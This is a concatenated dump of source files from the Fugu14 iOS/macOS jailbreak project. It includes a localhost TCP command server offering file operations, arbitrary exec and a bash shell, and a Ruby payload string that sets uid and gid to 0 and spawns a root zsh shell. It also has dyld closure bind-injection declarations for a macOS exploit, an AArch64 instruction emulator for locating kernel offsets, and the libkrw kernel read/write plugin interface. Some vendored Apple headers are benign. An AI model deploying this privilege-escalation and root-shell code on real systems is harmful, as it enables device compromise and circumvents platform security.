char *name = getParameter(cmdBuffer, 1);
if (name) {
char *length = getParameter(cmdBuffer, 2);
if (length) {
FILE *file = fopen(name, "wb+");
if (file) {
size_t size = strtoul(length, NULL, 0);
if (size) {
char *buffer = malloc(size);
if (buffer) {
size_t offset = 0;
while (offset < size) {
size_t read = fread(buffer + offset, 1, 1, f);
if (read < 1) {
// OOPS
offset = 0;
break;
}
offset++;
}
if (offset == size) {
fwrite(buffer, size, 1, file);
fprintf(f, "\r\nFile written.\r\n");
} else {
fprintf(f, "\r\nFailed to write file!\r\n");
}
fclose(file);
free(buffer);
} else {
fprintf(f, "write: %s\r\n", strerror(errno));
}
} else {
fprintf(f, "Usage: write <file> <length in bytes>\r\n");
}
} else {
fprintf(f, "write: %s\r\n", strerror(errno));
}
free(length);
} else {
fprintf(f, "Usage: write <file> <length in bytes>\r\n");
}
free(name);
} else {
fprintf(f, "Usage: write <file> <length in bytes>\r\n");
}
} else if (strcmp(cmd, "cp") == 0) {
char *src = getParameter(cmdBuffer, 1);
if (src) {
char *dst = getParameter(cmdBuffer, 2);
if (dst) {
FILE *srcFile = fopen(src, "rb");
if (srcFile) {
fseek(srcFile, 0, SEEK_END);
size_t size = ftell(srcFile);
fseek(srcFile, 0, SEEK_SET);
char *buffer = malloc(size + 1);
memset(buffer, 0, size + 1);
if (buffer) {
fread(buffer, size, 1, srcFile);
FILE *dstFile = fopen(dst, "wb+");
if (dstFile) {
fwrite(buffer, size, 1, dstFile);
fclose(dstFile);
} else {
fprintf(f, "cp: dst: %s\r\n", strerror(errno));
}
} else {
fprintf(f, "cp: src: %s\r\n", strerror(errno));
}
free(buffer);
fclose(srcFile);
} else {
fprintf(f, "cp: src: %s\r\n", strerror(errno));
}
free(dst);
} else {
fprintf(f, "Usage: cp <src> <dst>\r\n");
}
free(src);
} else {
fprintf(f, "Usage: cp <src> <dst>\r\n");
}
} else if (strcmp(cmd, "cat") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (param) {
FILE *file = fopen(param, "rb");
if (file) {
fseek(file, 0, SEEK_END);
size_t size = ftell(file);
fseek(file, 0, SEEK_SET);
char *buffer = malloc(size + 1);
memset(buffer, 0, size + 1);
if (buffer) {
fread(buffer, size, 1, file);
fprintf(f, "%s\r\n", buffer);
} else {
fprintf(f, "cat: %s\r\n", strerror(errno));
}
free(buffer);
fclose(file);
} else {
fprintf(f, "cat: %s\r\n", strerror(errno));
}
free(param);
} else {
fprintf(f, "Usage: cat <file>\r\n");
}
} else if (strcmp(cmd, "rm") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (param) {
if (unlink(param) < 0) {
fprintf(f, "rm: %s\r\n", strerror(errno));
}
free(param);
} else {
fprintf(f, "Usage: rm <file>\r\n");
}
} else if (strcmp(cmd, "chmod") == 0) {
char *modeStr = getParameter(cmdBuffer, 1);
if (modeStr) {
char *param = getParameter(cmdBuffer, 2);
if (param) {
size_t mode = strtoul(modeStr, NULL, 8);
if (mode) {
if (chmod(param, mode) < 0) {
fprintf(f, "chmod: %s\r\n", strerror(errno));
}
} else {
fprintf(f, "Usage: chmod <mode, octal> <file>\r\n");
}
free(param);
} else {
fprintf(f, "Usage: chmod <mode, octal> <file>\r\n");
}
free(modeStr);
} else {
fprintf(f, "Usage: chmod <mode, octal> <file>\r\n");
}
} else if (strcmp(cmd, "chown") == 0) {
char *uid_str = getParameter(cmdBuffer, 1);
if (uid_str) {
char *gid_str = getParameter(cmdBuffer, 2);
if (gid_str) {
char *param = getParameter(cmdBuffer, 3);
if (param) {
size_t uid = strtoul(uid_str, NULL, 0);
size_t gid = strtoul(gid_str, NULL, 0);
if (chown(param, (uid_t) uid, (gid_t) gid) < 0) {
fprintf(f, "chown: %s\r\n", strerror(errno));
}
free(param);
} else {
fprintf(f, "Usage: chown <uid> <gid> <file>\r\n");
}
free(gid_str);
} else {
fprintf(f, "Usage: chown <uid> <gid> <file>\r\n");
}
free(uid_str);
} else {
fprintf(f, "Usage: chown <uid> <gid> <file>\r\n");
}
} else if (strcmp(cmd, "rmdir") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (param) {
if (rmdir(param) < 0) {
fprintf(f, "rmdir: %s\r\n", strerror(errno));
}
free(param);
} else {
fprintf(f, "Usage: rmdir <folder, empty>\r\n");
}
} else if (strcmp(cmd, "info") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (param) {
printInfo(f, param);
free(param);
} else {
fprintf(f, "Usage: info <file>\r\n");
}
} else if (strcmp(cmd, "mkdir") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (param) {
if (mkdir(param, 0777) < 0) {
fprintf(f, "mkdir: %s\r\n", strerror(errno));
}
free(param);
} else {
fprintf(f, "Usage: mkdir <name>\r\n");
}
} else if (strcmp(cmd, "exec") == 0) {
char *param = getParameter(cmdBuffer, 1);
if (param) {
int ctr = 2;
while (1) {
char *param = getParameter(cmdBuffer, ctr++);
if (!param) {
break;
}
free(param);
}
char **buf = malloc(ctr * sizeof(char*));
buf[0] = param;
ctr = 2;
while (1) {
char *param = getParameter(cmdBuffer, ctr);
if (!param) {
break;
}
buf[(ctr++) - 1] = param;
}
buf[ctr - 1] = NULL;
int status = runCommand(f, buf);
while (*buf) {
free(*buf);
buf++;
}
fprintf(f, "exec: Child status: %d\r\n", status);
} else {
fprintf(f, "Usage: exec <program> <args>\r\n");
}
} else if (strcmp(cmd, "bash") == 0) {
fprintf(f, "Running bash.\r\n");
fprintf(f, "Although you might not see a prompt, you can still run commands.\r\n");
fflush(f);
char *buf[2] = { "/bin/bash", NULL };
int status = runCommand(f, buf);
fprintf(f, "exec: Bash exit status: %d\r\n", status);
} else if (strcmp(cmd, "sb") == 0) {
fprintf(f, "Updating Springboard Plist...\r\n");
fflush(f);
update_springboard_plist();
} else if (strcmp(cmd, "krw") == 0) {
fprintf(f, "Initializing libkrw support...\r\n");
fflush(f);
int res = init_libkrw_support();
if (res == 0) {
fprintf(f, "Inited libkrw support!\r\n");
} else {
fprintf(f, "Failed to init libkrw support! (%d)\r\n", res);
}
} else {
fprintf(f, "Unknown command %s!\r\n", cmdBuffer);
}
free(cmd);
}
fclose(f);
}
void launchCServer() {
dispatch_async(dispatch_queue_create("Server", NULL), ^{
int server_fd = socket(AF_INET, SOCK_STREAM, 0);
if (server_fd < 0) {
exit(-1);
}
dup2(server_fd, 10);
close(server_fd);
server_fd = 10;
int option = 1;
if (setsockopt(server_fd, SOL_SOCKET, SO_REUSEPORT, &option, sizeof(option)) < 0) {
exit(-1);
}
struct sockaddr_in server;
memset(&server, 0, sizeof (server));
server.sin_family = AF_INET;
server.sin_addr.s_addr = inet_addr("127.0.0.1");
server.sin_port = htons(1337);
if (bind(server_fd, (struct sockaddr*) &server, sizeof(server)) < 0) {
exit(-1);
}
if (listen(server_fd, SOMAXCONN) < 0) {
exit(-1);
}
while (1) {
int new_socket = accept(server_fd, NULL, NULL);
if (new_socket == -1) {
if (errno == EINTR) {
continue;
}
exit(-1);
}
dispatch_async(dispatch_queue_create(NULL, NULL), ^{
handleConnection(new_socket);
});
}
});
}
|
obenchekroun/Fugu14
|
x86_64/dyldExploitMacOS_x86_64/dyldExploitMacOS_x86_64/ruby_payload.h
|
<filename>x86_64/dyldExploitMacOS_x86_64/dyldExploitMacOS_x86_64/ruby_payload.h
//
// ruby_payload.h
// dyldExploitMacOS_x86_64
//
// Created by <NAME>.
// Copyright © 2021 <NAME>. All rights reserved.
//
#ifndef ruby_payload_h
#define ruby_payload_h
char *ruby_payload_root_shell =
"require 'fiddle'\n"
"require 'fiddle/import'\n"
"\n"
"include Fiddle\n"
"include Fiddle::CParser\n"
"\n"
"libSystem = Fiddle.dlopen('/usr/lib/libSystem.B.dylib')\n"
"\n"
"setuid = Function.new(libSystem['setuid'], [parse_ctype('int')], parse_ctype('int'))\n"
"setgid = Function.new(libSystem['setgid'], [parse_ctype('int')], parse_ctype('int'))\n"
"execl = Function.new(libSystem['execl'], [parse_ctype('char *'), parse_ctype('char *'), parse_ctype('char *')], parse_ctype('int'))\n"
"exit = Function.new(libSystem['exit'], [parse_ctype('int')], parse_ctype('int'))\n"
"setenv = Function.new(libSystem['setenv'], [parse_ctype('char *'), parse_ctype('char *'), parse_ctype('int')], parse_ctype('int'))\n"
"\n"
"setuid.call(0)\n"
"setgid.call(0)\n"
"\n"
"setenv.call('HOME', '/var/root', 1)\n"
"execl.call('/bin/zsh', '/bin/zsh', Pointer.new(0))\n"
"\n"
"puts '[ruby] Failed to exec /bin/zsh!'\n"
"\n"
"exit.call(0)";
#endif /* ruby_payload_h */
|
obenchekroun/Fugu14
|
arm/iOS/jailbreakd/Sources/externalCStuff/hfs_mount.h
|
/*
* Copyright (c) 2000-2003 Apple Computer, Inc. All rights reserved.
*
* @APPLE_LICENSE_OSREFERENCE_HEADER_START@
*
* This file contains Original Code and/or Modifications of Original Code
* as defined in and that are subject to the Apple Public Source License
* Version 2.0 (the 'License'). You may not use this file except in
* compliance with the License. The rights granted to you under the
* License may not be used to create, or enable the creation or
* redistribution of, unlawful or unlicensed copies of an Apple operating
* system, or to circumvent, violate, or enable the circumvention or
* violation of, any terms of an Apple operating system software license
* agreement.
*
* Please obtain a copy of the License at
* http://www.opensource.apple.com/apsl/ and read it before using this
* file.
*
* The Original Code and all software distributed under the License are
* distributed on an 'AS IS' basis, WITHOUT WARRANTY OF ANY KIND, EITHER
* EXPRESS OR IMPLIED, AND APPLE HEREBY DISCLAIMS ALL SUCH WARRANTIES,
* INCLUDING WITHOUT LIMITATION, ANY WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE, QUIET ENJOYMENT OR NON-INFRINGEMENT.
* Please see the License for the specific language governing rights and
* limitations under the License.
*
* @APPLE_LICENSE_OSREFERENCE_HEADER_END@
*/
/*
* Copyright (c) 1997-2002 Apple Computer, Inc. All Rights Reserved
*
*/
#ifndef _HFS_MOUNT_H_
#define _HFS_MOUNT_H_
#include <sys/appleapiopts.h>
#include <sys/mount.h>
#include <sys/time.h>
/*
* Arguments to mount HFS-based filesystems
*/
#define OVERRIDE_UNKNOWN_PERMISSIONS 0
#define UNKNOWNUID ((uid_t)99)
#define UNKNOWNGID ((gid_t)99)
#define UNKNOWNPERMISSIONS (S_IRWXU | S_IROTH | S_IXOTH) /* 705 */
#ifdef __APPLE_API_UNSTABLE
struct hfs_mount_args {
#ifndef KERNEL
char *fspec; /* block special device to mount */
#endif
uid_t hfs_uid; /* uid that owns hfs files (standard HFS only) */
gid_t hfs_gid; /* gid that owns hfs files (standard HFS only) */
mode_t hfs_mask; /* mask to be applied for hfs perms (standard HFS only) */
uint32_t hfs_encoding; /* encoding for this volume (standard HFS only) */
struct timezone hfs_timezone; /* user time zone info (standard HFS only) */
int flags; /* mounting flags, see below */
int journal_tbuffer_size; /* size in bytes of the journal transaction buffer */
int journal_flags; /* flags to pass to journal_open/create */
int journal_disable; /* don't use journaling (potentially dangerous) */
};
#define HFSFSMNT_NOXONFILES 0x1 /* disable execute permissions for files */
#define HFSFSMNT_WRAPPER 0x2 /* mount HFS wrapper (if it exists) */
#define HFSFSMNT_EXTENDED_ARGS 0x4 /* indicates new fields after "flags" are valid */
/*
* Sysctl values for HFS
*/
#define HFS_ENCODINGBIAS 1 /* encoding matching CJK bias */
#define HFS_EXTEND_FS 2
#define HFS_ENCODINGHINT 3 /* guess encoding for string */
#define HFS_ENABLE_JOURNALING 0x082969
#define HFS_DISABLE_JOURNALING 0x031272
#define HFS_GET_JOURNAL_INFO 0x6a6e6c69
#define HFS_SET_PKG_EXTENSIONS 0x121031
#endif /* __APPLE_API_UNSTABLE */
#endif /* ! _HFS_MOUNT_H_ */
|
obenchekroun/Fugu14
|
x86_64/dyldExploitMacOS_x86_64/dyldExploitMacOS_x86_64/MachO.h
|
<reponame>obenchekroun/Fugu14
//
// MachO.h
// iDebug
//
// Created by <NAME>.
// Copyright © 2020/2021 <NAME>. All rights reserved.
//
#ifndef MachO_h
#define MachO_h
#import <Foundation/Foundation.h>
@interface MachO : NSObject
@property NSData *data;
+ (instancetype) createWithFile: (NSString*) file;
- (instancetype) initWithFile: (NSString*) file;
- (uint64_t) offsetOfGotEntry: (NSString*) name;
- (uint64_t) locationOfBytes: (const char*) bytes length: (size_t) len;
- (uint64_t) getTextSlide;
@end
#endif /* MachO_h */
|
obenchekroun/Fugu14
|
arm/shared/KernelExploit/Sources/CFastFind/CFastFind.c
|
//
// CFastFind.c
// CFastFind
//
// Created by <NAME> on 2021-10-16.
// Copyright © 2021 <NAME>. All rights reserved.
//
// Some utils for the offset finder
// I mean, I could have written them in Swift
// But then I wouldn't have been able to just copy+paste from the original Fugu
// (Swift implementation would probably be slower as well)
#include "CFastFind.h"
bool CFastFind(const void* __nonnull buffer, size_t bufLen, const uint32_t* __nonnull insts, size_t instLen, size_t* __nonnull offset) {
if (instLen == 0) {
return false;
}
uint32_t *ptr = (uint32_t*) buffer;
for (size_t i = 0; i < (bufLen/4 - instLen); i++) {
bool found = true;
for (int j = 0; j < instLen; j++) {
if (ptr[i+j] != insts[j]) {
found = false;
break;
}
}
if (found) {
*offset = i * 4;
return true;
}
}
return false;
}
/**
* Emulate an adr instruction at the given pc value
* Returns adr destination
*/
uint64_t aarch64_emulate_adr(uint32_t instruction, uint64_t pc) {
// Check that this is an adr instruction
if ((instruction & 0x9F000000) != 0x10000000) {
return 0;
}
int32_t imm = (instruction & 0xFFFFE0) >> 3;
imm |= (instruction & 0x60000000) >> 29;
if (instruction & 0x800000) {
// Sign extend
imm |= 0xFFE00000;
}
// Emulate
return pc + imm;
}
/**
* Emulate a b/bl instruction at the given pc value
* Returns branch destination
*/
uint64_t aarch64_emulate_branch(uint32_t instruction, uint64_t pc) {
// Check that this is a branch instruction
if ((instruction & 0x7C000000) != 0x14000000) {
return 0;
}
int32_t imm = (instruction & 0x3FFFFFF) << 2;
if (instruction & 0x2000000) {
// Sign extend
imm |= 0xFC000000;
}
// Emulate
return pc + imm;
}
uint64_t aarch64_emulate_b(uint32_t instr, uint64_t pc) {
// Make sure this is a normal branch
if ((instr & 0x80000000) != 0) {
return 0;
}
// Checks that this is a b
return aarch64_emulate_branch(instr, pc);
}
uint64_t aarch64_emulate_bl(uint32_t instr, uint64_t pc) {
// Make sure this is not a normal branch
if ((instr & 0x80000000) != 0x80000000) {
return 0;
}
// Checks that this is a bl
return aarch64_emulate_branch(instr, pc);
}
/**
* Emulate a compare and branch instruction at the given pc value
* Returns branch destination
*/
uint64_t aarch64_emulate_compare_branch(uint32_t instruction, uint64_t pc) {
// Check that this is a compare and branch instruction
if ((instruction & 0x7E000000) != 0x34000000) {
return 0;
}
int32_t imm = (instruction & 0xFFFFE0) >> 3;
if (instruction & 0x800000) {
// Sign extend
imm |= 0xFF000000;
}
// Emulate
return pc + imm;
}
/**
* Emulate a conditional branch at the given pc value
* Returns branch destination
*/
uint64_t aarch64_emulate_conditional_branch(uint32_t instruction, uint64_t pc) {
// Check that this is a conditional branch instruction
if ((instruction & 0xFF000010) != 0x54000000) {
return 0;
}
int32_t imm = (instruction & 0xFFFFE0) >> 3;
if (instruction & 0x800000) {
// Sign extend
imm |= 0xFF000000;
}
// Emulate
return pc + imm;
}
/**
* Emulate an adrp instruction at the given pc value
* Returns adrp destination
*/
uint64_t aarch64_emulate_adrp(uint32_t instruction, uint64_t pc) {
// Check that this is an adrp instruction
if ((instruction & 0x9F000000) != 0x90000000) {
return 0;
}
// Calculate imm from hi and lo
int32_t imm_hi_lo = (instruction & 0xFFFFE0) >> 3;
imm_hi_lo |= (instruction & 0x60000000) >> 29;
if (instruction & 0x800000) {
// Sign extend
imm_hi_lo |= 0xFFE00000;
}
// Build real imm
int64_t imm = ((int64_t) imm_hi_lo << 12);
// Emulate
return (pc & ~(0xFFFULL)) + imm;
}
bool aarch64_emulate_add_imm(uint32_t instruction, uint32_t *dst, uint32_t *src, uint32_t *imm) {
// Check that this is an add instruction with immediate
if ((instruction & 0xFF000000) != 0x91000000) {
return 0;
}
int32_t imm12 = (instruction & 0x3FFC00) >> 10;
uint8_t shift = (instruction & 0xC00000) >> 22;
switch (shift) {
case 0:
*imm = imm12;
break;
case 1:
*imm = imm12 << 12;
break;
default:
return false;
}
*dst = instruction & 0x1F;
*src = (instruction >> 5) & 0x1F;
return true;
}
/**
* Emulate an adrp and add instruction at the given pc value
* Returns destination
*/
uint64_t aarch64_emulate_adrp_add(uint32_t instruction, uint32_t addInstruction, uint64_t pc) {
uint64_t adrp_target = aarch64_emulate_adrp(instruction, pc);
if (!adrp_target) {
return 0;
}
uint32_t addDst;
uint32_t addSrc;
uint32_t addImm;
if (!aarch64_emulate_add_imm(addInstruction, &addDst, &addSrc, &addImm)) {
return 0;
}
if ((instruction & 0x1F) != addSrc) {
return 0;
}
// Emulate
return adrp_target + (uint64_t) addImm;
}
/**
* Emulate an adrp and ldr instruction at the given pc value
* Returns destination
*/
uint64_t aarch64_emulate_adrp_ldr(uint32_t instruction, uint32_t ldrInstruction, uint64_t pc) {
uint64_t adrp_target = aarch64_emulate_adrp(instruction, pc);
if (!adrp_target) {
return 0;
}
if ((instruction & 0x1F) != ((ldrInstruction >> 5) & 0x1F)) {
return 0;
}
if ((ldrInstruction & 0xFFC00000) != 0xF9400000) {
return 0;
}
uint32_t imm12 = ((ldrInstruction >> 10) & 0xFFF) << 3;
// Emulate
return adrp_target + (uint64_t) imm12;
}
uint64_t aarch64_emulate_ldr(uint32_t ldrInstruction, uint64_t pc) {
if ((ldrInstruction & 0xFF000000) != 0x18000000) {
if ((ldrInstruction & 0xFF000000) != 0x58000000) {
return 0;
}
}
uint32_t imm19 = ((ldrInstruction >> 5) & 0x7FFFF) << 2;
// Emulate
return pc + (uint64_t) imm19;
}
uint64_t aarch64_get_ldr_off(uint32_t ldrInstruction) {
if ((ldrInstruction & 0xFFC00000) != 0xF9400000) {
return 0;
}
uint32_t imm12 = ((ldrInstruction >> 10) & 0xFFF) << 3;
return (uint64_t) imm12;
}
/**
* Find an xref to an address
*
* \param start Start address
* \param end End address
* \param xrefTo The address for which a xref should be found
*/
uint64_t find_xref_to(const void *start, const void *end, uint64_t xrefTo, uint64_t pc) {
uint32_t *cur = (uint32_t*) start;
while (cur < (uint32_t*) end) {
uint32_t inst = *cur;
uint64_t xref = aarch64_emulate_adr(inst, pc);
if (!xref) {
xref = aarch64_emulate_adrp_add(inst, *(cur+1), pc);
if (!xref) {
xref = aarch64_emulate_branch(inst, pc);
if (!xref) {
xref = aarch64_emulate_compare_branch(inst, pc);
if (!xref) {
xref = aarch64_emulate_conditional_branch(inst, pc);
}
}
}
}
if (xref == xrefTo) {
return pc;
}
cur++;
pc += 4;
}
return 0;
}
|
obenchekroun/Fugu14
|
arm/iOS/jailbreakd/Sources/externalCStuff/CFUserNotification.h
|
<reponame>obenchekroun/Fugu14
/* CFUserNotification.h
Copyright (c) 2000-2019, Apple Inc. and the Swift project authors
Portions Copyright (c) 2014-2019, Apple Inc. and the Swift project authors
Licensed under Apache License v2.0 with Runtime Library Exception
See http://swift.org/LICENSE.txt for license information
See http://swift.org/CONTRIBUTORS.txt for the list of Swift project authors
*/
#if !defined(__COREFOUNDATION_CFUSERNOTIFICATION__)
#define __COREFOUNDATION_CFUSERNOTIFICATION__ 1
#include <CoreFoundation/CFBase.h>
#include <CoreFoundation/CFDate.h>
#include <CoreFoundation/CFDictionary.h>
#include <CoreFoundation/CFString.h>
#include <CoreFoundation/CFURL.h>
#include <CoreFoundation/CFRunLoop.h>
CF_IMPLICIT_BRIDGING_ENABLED
CF_EXTERN_C_BEGIN
typedef struct CF_BRIDGED_MUTABLE_TYPE(id) __CFUserNotification * CFUserNotificationRef;
/* A CFUserNotification is a notification intended to be presented to a
user at the console (if one is present). This is for the use of processes
that do not otherwise have user interfaces, but may need occasional
interaction with a user. There is a parallel API for this functionality
at the System framework level, described in UNCUserNotification.h.
The contents of the notification can include a header, a message, textfields,
a popup button, radio buttons or checkboxes, a progress indicator, and up to
three ordinary buttons. All of these items are optional, but a default
button will be supplied even if not specified unless the
kCFUserNotificationNoDefaultButtonFlag is set.
The contents of the notification are specified in the dictionary used to
create the notification, whose keys should be taken from the list of constants
below, and whose values should be either strings or arrays of strings
(except for kCFUserNotificationProgressIndicatorValueKey, in which case the
value should be a number between 0 and 1, for a "definite" progress indicator,
or a boolean, for an "indefinite" progress indicator). Additionally, URLs can
optionally be supplied for an icon, a sound, and a bundle whose Localizable.strings
files will be used to localize strings.
Certain request flags are specified when a notification is created.
These specify an alert level for the notification, determine whether
radio buttons or check boxes are to be used, specify which if any of these
are checked by default, specify whether any of the textfields are to
be secure textfields, and determine which popup item should be selected
by default. A timeout is also specified, which determines how long the
notification should be supplied to the user (if zero, it will not timeout).
A CFUserNotification is dispatched for presentation when it is created.
If any reply is required, it may be awaited in one of two ways: either
synchronously, using CFUserNotificationReceiveResponse, or asynchronously,
using a run loop source. CFUserNotificationReceiveResponse has a timeout
parameter that determines how long it will block (zero meaning indefinitely)
and it may be called as many times as necessary until a response arrives.
If a notification has not yet received a response, it may be updated with
new information, or it may be cancelled. Notifications may not be reused.
When a response arrives, it carries with it response flags that describe
which button was used to dismiss the notification, which checkboxes or
radio buttons were checked, and what the selection of the popup was.
It also carries a response dictionary, which describes the contents
of the textfields. */
typedef void (*CFUserNotificationCallBack)(CFUserNotificationRef userNotification, CFOptionFlags responseFlags);
CF_EXPORT
CFTypeID CFUserNotificationGetTypeID(void) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
CFUserNotificationRef CFUserNotificationCreate(CFAllocatorRef allocator, CFTimeInterval timeout, CFOptionFlags flags, SInt32 *error, CFDictionaryRef dictionary) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
SInt32 CFUserNotificationReceiveResponse(CFUserNotificationRef userNotification, CFTimeInterval timeout, CFOptionFlags *responseFlags) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
CFStringRef CFUserNotificationGetResponseValue(CFUserNotificationRef userNotification, CFStringRef key, CFIndex idx) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
CFDictionaryRef CFUserNotificationGetResponseDictionary(CFUserNotificationRef userNotification) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
SInt32 CFUserNotificationUpdate(CFUserNotificationRef userNotification, CFTimeInterval timeout, CFOptionFlags flags, CFDictionaryRef dictionary) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
SInt32 CFUserNotificationCancel(CFUserNotificationRef userNotification) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
CFRunLoopSourceRef CFUserNotificationCreateRunLoopSource(CFAllocatorRef allocator, CFUserNotificationRef userNotification, CFUserNotificationCallBack callout, CFIndex order) API_AVAILABLE(macos(10.0), ios(14.0));
/* Convenience functions for handling the simplest and most common cases:
a one-way notification, and a notification with up to three buttons. */
CF_EXPORT
SInt32 CFUserNotificationDisplayNotice(CFTimeInterval timeout, CFOptionFlags flags, CFURLRef iconURL, CFURLRef soundURL, CFURLRef localizationURL, CFStringRef alertHeader, CFStringRef alertMessage, CFStringRef defaultButtonTitle) API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
SInt32 CFUserNotificationDisplayAlert(CFTimeInterval timeout, CFOptionFlags flags, CFURLRef iconURL, CFURLRef soundURL, CFURLRef localizationURL, CFStringRef alertHeader, CFStringRef alertMessage, CFStringRef defaultButtonTitle, CFStringRef alternateButtonTitle, CFStringRef otherButtonTitle, CFOptionFlags *responseFlags) API_AVAILABLE(macos(10.0), ios(14.0));
/* Flags */
CF_ENUM(CFOptionFlags) {
kCFUserNotificationStopAlertLevel API_AVAILABLE(macos(10.0), ios(14.0)) = 0,
kCFUserNotificationNoteAlertLevel API_AVAILABLE(macos(10.0), ios(14.0)) = 1,
kCFUserNotificationCautionAlertLevel API_AVAILABLE(macos(10.0), ios(14.0)) = 2,
kCFUserNotificationPlainAlertLevel API_AVAILABLE(macos(10.0), ios(14.0)) = 3
};
CF_ENUM(CFOptionFlags) {
kCFUserNotificationDefaultResponse API_AVAILABLE(macos(10.0), ios(14.0)) = 0,
kCFUserNotificationAlternateResponse API_AVAILABLE(macos(10.0), ios(14.0)) = 1,
kCFUserNotificationOtherResponse API_AVAILABLE(macos(10.0), ios(14.0)) = 2,
kCFUserNotificationCancelResponse API_AVAILABLE(macos(10.0), ios(14.0)) = 3
};
CF_ENUM(CFOptionFlags) {
kCFUserNotificationNoDefaultButtonFlag API_AVAILABLE(macos(10.0), ios(14.0)) = (1UL << 5),
kCFUserNotificationUseRadioButtonsFlag API_AVAILABLE(macos(10.0), ios(14.0)) = (1UL << 6)
};
CF_INLINE CFOptionFlags CFUserNotificationCheckBoxChecked(CFIndex i) API_AVAILABLE(macos(10.0), ios(14.0)) {return ((CFOptionFlags)(1UL << (8 + i)));}
CF_INLINE CFOptionFlags CFUserNotificationSecureTextField(CFIndex i) API_AVAILABLE(macos(10.0), ios(14.0)) {return ((CFOptionFlags)(1UL << (16 + i)));}
CF_INLINE CFOptionFlags CFUserNotificationPopUpSelection(CFIndex n) API_AVAILABLE(macos(10.0), ios(14.0)) {return ((CFOptionFlags)(n << 24));}
/* Keys */
CF_EXPORT
const CFStringRef kCFUserNotificationIconURLKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationSoundURLKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationLocalizationURLKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationAlertHeaderKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationAlertMessageKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationDefaultButtonTitleKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationAlternateButtonTitleKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationOtherButtonTitleKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationProgressIndicatorValueKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationPopUpTitlesKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationTextFieldTitlesKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationCheckBoxTitlesKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationTextFieldValuesKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationPopUpSelectionKey API_AVAILABLE(macos(10.3));
CF_EXPORT
const CFStringRef kCFUserNotificationAlertTopMostKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXPORT
const CFStringRef kCFUserNotificationKeyboardTypesKey API_AVAILABLE(macos(10.0), ios(14.0));
CF_EXTERN_C_END
CF_IMPLICIT_BRIDGING_DISABLED
#endif /* ! __COREFOUNDATION_CFUSERNOTIFICATION__ */
|
obenchekroun/Fugu14
|
x86_64/dyldExploitMacOS_x86_64/dyldExploitMacOS_x86_64/dyld_closure.h
|
<filename>x86_64/dyldExploitMacOS_x86_64/dyldExploitMacOS_x86_64/dyld_closure.h
//
// dyld_closure.h
// dyldExploitMacOS_x86_64
//
// Created by <NAME>.
// Copyright © 2021 <NAME>. All rights reserved.
//
#ifndef dyld_closure_h
#define dyld_closure_h
#import <Foundation/Foundation.h>
#import "dyld.h"
pid_t launchWithClosure(NSString *exe, NSString *pwnPath, BOOL copyPhase, char **argv);
BOOL closureReplaceBind(void *closure, size_t closureSize, uint64_t vmOffset, uint64_t newValue);
BOOL closureInjectBind(void *closure, size_t closureSize, uint64_t vmOffset, ResolvedSymbolTarget *target);
#endif /* dyld_closure_h */
|
obenchekroun/Fugu14
|
arm/iOS/Fugu14Krw/Sources/LibKRW_Plugin/libkrw_plugin.h
|
#ifndef LIBKRW_PLUGIN_H
#define LIBKRW_PLUGIN_H
#ifdef __cplusplus
extern "C" {
#endif
#include <stddef.h>
#include <stdint.h>
/**
* libkrw - Library for kernel read/write
*
* The purpose of this library is to provide a standard interface for common
* kernel memory operations. Subsets of those have historically been exported
* by most jailbreaks, but the provided interfaces are increasingly shifting,
* thus calling for a standard interface.
*
* It is understood that hardly any jailbreak provides the necessary primitives
* to implement ALL of the below functions. Thus, an implementer of this API
* is free to implement any subset of their choosing, even an empty one, and
* simply "stub" the remaining functions to return `ENOTSUP` unconditionally.
*
* All functions imported by this library are expected to return an `int` status
* code, where:
* - The value `0` indicates success.
* - The values `1` through `255` indicate failure and correspond to their
* definitions in <errno.h> (or are reserved, if no such definition exists).
* - All other return values are implementation-defined, but indicate failure.
*
* Notable conditions where values from <errno.h> should be used include:
* - `EPERM` The requested operation requires root, an entitlement, or some
* other form of elevated privileges.
* - `EINVAL` An invalid argument was provided to the function.
* - `EDEVERR` The requested operation is supported in this implementation, but
* could not be completed for some reason.
* - `ENOTSUP` The requested operation is not supported in this implementation.
*
* Further shall be noted that due to the inherently unsafe nature of direct
* kernel memory accesses, functions that take kernel addresses as arguments
* from the caller may panic the kernel, and implementers of this interface may
* choose to defend against that, but are not expected to do so. They ARE
* however expected to defend against causing kernel panics in functions that do
* NOT take kernel addresses as arguments.
**/
typedef int (*krw_kbase_func_t)(uint64_t *addr);
typedef int (*krw_kread_func_t)(uint64_t from, void *to, size_t len);
